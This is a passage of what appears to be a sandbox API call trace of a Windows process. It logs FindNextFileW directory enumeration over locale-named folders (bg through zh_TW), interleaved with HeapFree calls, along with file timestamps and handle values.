ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Prov", cAlternateFileName="")) returned 0 [0197.456] FindClose (in: hFindFile=0x4531980 | out: hFindFile=0x4531980) returned 1 [0197.456] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0197.456] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b2205b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{c8a326e4-f518-4f14-b543-97a57e1a975e}", cAlternateFileName="{C8A32~1")) returned 1 [0199.679] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.679] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9890978, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe9897eaa, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe9897eaa, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0199.679] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.679] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe98a41ee, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe98a9020, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe98a9020, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0199.680] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.680] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe98b2c52, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe98b7a81, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe98b7a81, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0199.680] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.681] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe98c16bc, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe98c8bf7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe98c8bf7, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0199.681] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.681] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe98d2842, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe98d765b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe98d765b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0199.682] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.682] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe98e39ac, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe98e87c1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe98e87c1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0199.682] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.682] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe98f4b16, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe98f9941, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe98f9941, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1 [0199.683] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.683] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9905c95, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe990aaab, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe990aaab, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0199.683] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.683] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9916e05, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe991951b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe991951b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0199.684] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.684] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe992586f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe9927f7f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe9927f7f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil", cAlternateFileName="")) returned 1 [0199.685] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.685] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe99369e0, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe99390ef, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe99390ef, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0199.685] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.685] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9945446, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe994a266, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe994a266, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0199.690] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.691] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9953e94, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe9958ce5, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe9958ce5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0199.691] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.691] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe996501a, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe9967730, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe9967730, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0199.692] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.692] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9976194, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe99788a0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe99788a0, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0199.693] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.693] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9984beb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe9989a17, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe9989a17, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0199.693] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.693] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9995d6b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe999ab81, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe999ab81, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0199.694] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.694] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe99a47cb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe99a6ee1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe99a6ee1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0199.695] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.695] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe99b5942, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe99ba75e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe99ba75e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0199.695] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.695] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe99c43c1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe99c6ab8, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe99c6ab8, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0199.696] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.696] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe99d2dfd, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe99da338, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe99da338, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0199.696] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.696] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe99e668f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe99e8d95, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe99e8d95, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0199.698] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.698] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe99f29e3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe99f7802, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe99f7802, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0199.699] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.699] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9a03b57, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe9a0897c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe9a0897c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0199.700] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.700] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9a125bd, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe9a173dc, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe9a173dc, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0199.700] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.700] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9a2372d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe9a28553, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe9a28553, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_PT", cAlternateFileName="")) returned 1 [0199.700] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.700] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9a3e4d9, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe9a45a0b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe9a45a0b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0199.701] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.701] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9a56b8e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe9a5929d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe9a5929d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0199.701] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.701] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9a67d01, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe9a6cb23, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe9a6cb23, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0199.702] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.702] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9a8039a, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe9a851ce, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe9a851ce, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0199.702] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.702] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9ad0cc4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe9ad5aed, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe9ad5aed, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr", cAlternateFileName="")) returned 1 [0199.702] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.702] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9af2f88, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe9af56c7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe9af56c7, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0199.726] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.726] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9b06824, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe9b08f4d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe9b08f4d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0199.727] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.727] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9b1eed3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe9b23d1a, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe9b23d1a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0199.727] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.727] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9b30055, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe9b34e78, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe9b34e78, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0199.728] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.728] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9b438c9, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe9b4ae0d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe9b4ae0d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0199.729] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.729] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9b682d5, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe9b6a9e4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe9b6a9e4, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1 [0199.729] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.729] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9b7e26a, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe9b85796, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe9b85796, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1 [0199.729] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0199.729] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bdf28 | out: 